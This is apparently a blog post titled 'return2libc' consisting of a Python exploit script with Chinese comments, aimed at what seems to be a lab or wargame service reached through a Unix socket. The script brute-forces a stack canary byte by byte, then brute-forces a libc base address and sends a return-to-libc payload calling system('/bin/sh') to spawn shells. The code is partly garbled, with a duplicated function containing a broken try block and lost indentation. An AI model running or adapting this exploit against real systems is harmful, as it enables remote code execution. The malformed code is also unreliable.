return2libc

!/usr/bin/env python3

import sys
import struct
import os
import socket
import time
import subprocess
from pathlib import Path

偏移量常量

SYSTEM_OFFSET = 0x00051150
EXIT_OFFSET = 0x0003c0c0
BINSH_OFFSET = 0x001cae52

STARTING_LIBC = 0xea000000

RUNNING_SHELL_COUNT = 15

缓冲区大小

BUFFER_SIZE = 256
EBP_OFFSET = 3

def connect_to_server():
"""连接到服务器套接字"""
home_dir = str(Path.home())
sock_path = os.path.join(home_dir, "judge_sock")

client = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)

try:
    client.connect(sock_path)
    return client
except Exception as e:
    print(f"连接错误: {e}")
    return None

def send_payload(payload):
"""发送payload并尝试获取响应"""
client = connect_to_server()
if client is None:
return None

try:
    client.sendall(payload)
    
    # 尝试接收响应
    try:
        response = client.recv(512)
        return response
    except socket.error:
        # 如果无法接收响应,可能是服务器崩溃或关闭了连接
        return None
except Exception as e:
    print(f"发送错误: {e}")
    return None
finally:
    try:
        client.close()
    except:
        pass

def send_payload_nc(payload):

"""通过nc命令发送payload"""

# 将payload保存到临时文件
#with open('/tmp/payload.bin', 'wb') as f:
#f.write(payload)

# 使用nc命令通过Unix socket发送payload

cmd = f"nc -U /home/hackers/hacker84/judge_sock"

#sys.stdout.buffer.write(payload)

try:

 #   subprocess.run(cmd, shell=True, check=True)
#    return True

except subprocess.CalledProcessError:

print("[-] 发送payload失败", file=sys.stderr)

return False

def send_payload_nc(payload):
"""通过nc命令发送payload"""
try:
# 使用 subprocess.Popen 来直接通过管道传输数据到 nc
# 通过 stdin 传输 payload 数据到 nc
process = subprocess.Popen(
['nc', '-U', '/home/hackers/hacker84/judge_sock'], # 使用 Unix socket
stdin=subprocess.PIPE # 通过管道传递数据
)
# 直接写入数据到 nc 的 stdin
process.communicate(input=payload)

    return True
except Exception as e:
    print(f"[-] 发送payload失败: {e}", file=sys.stderr)
    return False

def check_success():
"""检查是否成功获取shell且满足条件"""
try:
# 使用subprocess执行命令并获取输出
cmd = "ps -ef | grep -E 'sh|dash|bash' | grep -v grep | grep hacker84 | wc -l"
result = subprocess.check_output(cmd, shell=True, text=True)
count = int(result.strip())
return count > RUNNING_SHELL_COUNT
except:
return False

def bruteforce_canary():
"""暴力破解canary的值"""
# 基础payload格式: \n + 255个'A'
base_payload = b"\n" + b"A" * 255

# 已找到的canary字节
found_bytes = bytearray()

# 假设canary最多8个字节(64位系统)
max_canary_bytes = 4

print("[*] 开始暴力破解canary...")

# 循环尝试每个字节位置
for position in range(max_canary_bytes):
    print(f"[*] 尝试第 {position+1} 个字节...")
    
    # 尝试所有可能的字节值(0-255)
    for value in range(256):
        # 构建当前测试的canary部分
        current_canary = found_bytes + bytes([value])
        
        # 构建完整payload
        payload = base_payload + current_canary
        
        # 输出当前尝试的状态
        print(f"[*] 位置 {position+1},值 0x{value:02x},当前canary: {' '.join(f'0x{b:02x}' for b in current_canary)}", end="\r")
        
        # 发送payload并等待响应
        response = send_payload(payload)
        
        # 判断是否猜对了这个字节
        if response is not None and response != b"":
            # 收到响应,说明没有触发栈保护,猜对了
            found_bytes.append(value)
            print(f"\n[+] 找到字节 {position+1}: 0x{value:02x}")
            break
        
        # 短暂等待,避免请求过快
        time.sleep(0.01)
    else:
        # 如果遍历了所有值都没找到,可能已经找完所有字节
        print(f"\n[*] 无法找到更多字节,可能canary已完整或策略需要调整")
        break

print(f"\n[+] 找到的canary: {' '.join(f'0x{b:02x}' for b in found_bytes)}")
print(f"[+] 十六进制表示: 0x{''.join(f'{b:02x}' for b in found_bytes)}")

return bytes(found_bytes)

def verify_canary(canary):
"""验证找到的canary是否正确"""
print("[*] 验证找到的canary...")

# 构建测试payload
test_payload = b"\n" + b"A" * 255 + canary

# 发送并检查响应
response = send_payload(test_payload)

if response is not None and response != b"":
    print("[+] 验证成功!canary正确")
    try:
        print(f"[+] 服务器响应: {response.decode('utf-8', errors='replace')[:50]}")
    except:
        print(f"[+] 收到二进制响应")
    return True
else:
    print("[-] 验证失败,canary可能不完整或不正确")
    return False

def build_payload(canary, libc_base):
"""构建用于猜测libc的payload"""
# 计算关键地址
system_addr = SYSTEM_OFFSET + libc_base
exit_addr = EXIT_OFFSET + libc_base
binsh_addr = BINSH_OFFSET + libc_base
group_tempup_addr = libc_base + 0x243000 + 0x000013e9

# 构建payload
payload = b'\n'
payload += b'A' * (BUFFER_SIZE-1)  # 填充到canary
payload += canary  # 放置正确的canary值
payload += b'BBBB' * EBP_OFFSET  # 填充到返回地址
payload += struct.pack('<I', group_tempup_addr)
payload += struct.pack('<I', system_addr)  # 返回地址改为system()
payload += struct.pack('<I', exit_addr)    # system执行后的返回地址
payload += struct.pack('<I', binsh_addr)   # system()的参数 - "/bin/sh"字符串的地址

return payload

def libc_bruteforce(canary, start_addr=0x0, end_addr=0xFFFFF000, chunk_size=0x10000):
"""暴力猜测libc基址

参数:
canary: 已找到的canary值
start_addr: 起始地址前缀,默认0x0
end_addr: 结束地址前缀,默认0xFFFFF000
chunk_size: 每次测试的地址数量,默认0x10000
"""
print(f"[*] 开始猜测libc基址,使用canary: {' '.join(f'0x{b:02x}' for b in canary)}")

# 确保地址的最低三位是0 (0x000)
for base_addr in range(start_addr, end_addr, chunk_size):
    # 设置低12位为0,确保最后三位十六进制为000
    base_addr = base_addr & 0xFFFFF000
    
    print(f"[*] 测试地址范围: 0x{base_addr:08x} 到 0x{base_addr + chunk_size - 0x1000:08x}", file=sys.stderr)
    
    # 尝试该范围内的所有可能基址
    for offset in range(0, chunk_size, 0x1000):  # 以0x1000为步长,确保最后三位为000
        libc_base = base_addr + offset
        
        # 确保不超过32位地址空间
        if libc_base + SYSTEM_OFFSET > 0xFFFFFFFF:
            continue
            
        # 构建payload
        try:
            payload = build_payload(canary, libc_base)
        except struct.error:
            print(f"[-] 地址0x{libc_base:08x}超出范围,跳过", file=sys.stderr)
            continue
        
        print(f"[*] 尝试libc基址: 0x{libc_base:08x}", file=sys.stderr)
        
        # 发送payload到Unix socket
        send_payload_nc(payload)
        
        # 等待一小段时间让命令执行
        #time.sleep(0.01)
        
        # 检查是否成功
        #if check_success():
        #    time.sleep(0.5)
        #    if not check_success():
        #        continue
        #    print(f"[+] 成功! libc基址: 0x{libc_base:08x}", file=sys.stderr)
        #    return libc_base
        
        # 如果没有成功,等待一段时间再尝试下一个地址
        

print("[-] 未能找到有效的libc基址", file=sys.stderr)
return None

def main():
print("=" * 50)
print("Canary和Libc基址猜测工具")
print("=" * 50)

# 检查参数
if len(sys.argv) > 1 and sys.argv[1] == "--use-canary":
    # 使用提供的canary值
    if len(sys.argv) < 3:
        print("用法: script.py --use-canary <canary_hex>")
        return
    
    # 解析提供的canary值
    canary_hex = sys.argv[2]
    try:
        canary = bytes.fromhex(canary_hex.replace("0x", ""))
        print(f"[*] 使用提供的canary值: {' '.join(f'0x{b:02x}' for b in canary)}")
    except ValueError:
        print("[-] 无效的canary十六进制值")
        return
else:
    # 暴力破解canary
    canary = bruteforce_canary()
    
    # 验证找到的canary
    if len(canary) > 0:
        if not verify_canary(canary):
            print("[-] Canary验证失败,退出")
            return
        
        # 保存找到的canary到文件
        with open("found_canary.txt", "w") as f:
            f.write(f"Canary: {' '.join(f'0x{b:02x}' for b in canary)}\n")
            f.write(f"十六进制: 0x{''.join(f'{b:02x}' for b in canary)}\n")
        
        print(f"[+] Canary结果已保存到 found_canary.txt")
    else:
        print("[-] 未找到有效的canary,退出")
        return

# 暴力破解libc基址
if len(sys.argv) > 3 and sys.argv[1] == "--use-canary":
    # 使用命令行参数
    start_addr = int(sys.argv[3], 16) if len(sys.argv) > 3 else STARTING_LIBC
    end_addr = int(sys.argv[4], 16) if len(sys.argv) > 4 else 0xFFFFF000
    chunk_size = int(sys.argv[5], 16) if len(sys.argv) > 5 else 0x10000
else:
    # 使用默认参数
    start_addr = STARTING_LIBC
    end_addr = 0xFFFFF000
    chunk_size = 0x10000

print(f"[*] 开始猜测libc基址,范围: 0x{start_addr:08x} - 0x{end_addr:08x}")
libc_base = libc_bruteforce(canary, start_addr, end_addr, chunk_size)

if libc_base is not None:
    # 保存结果到文件
    with open("found_libc.txt", "w") as f:
        f.write(f"Libc基址: 0x{libc_base:08x}\n")
        f.write(f"system() 地址: 0x{libc_base + SYSTEM_OFFSET:08x}\n")
        f.write(f"exit() 地址: 0x{libc_base + EXIT_OFFSET:08x}\n")
        f.write(f"/bin/sh 地址: 0x{libc_base + BINSH_OFFSET:08x}\n")
    
    print(f"[+] Libc基址结果已保存到 found_libc.txt")

print("=" * 50)

if name == "main":
main()

posted @ 2025-04-15 12:47  peterzh6  阅读(2)  评论(0)    收藏  举报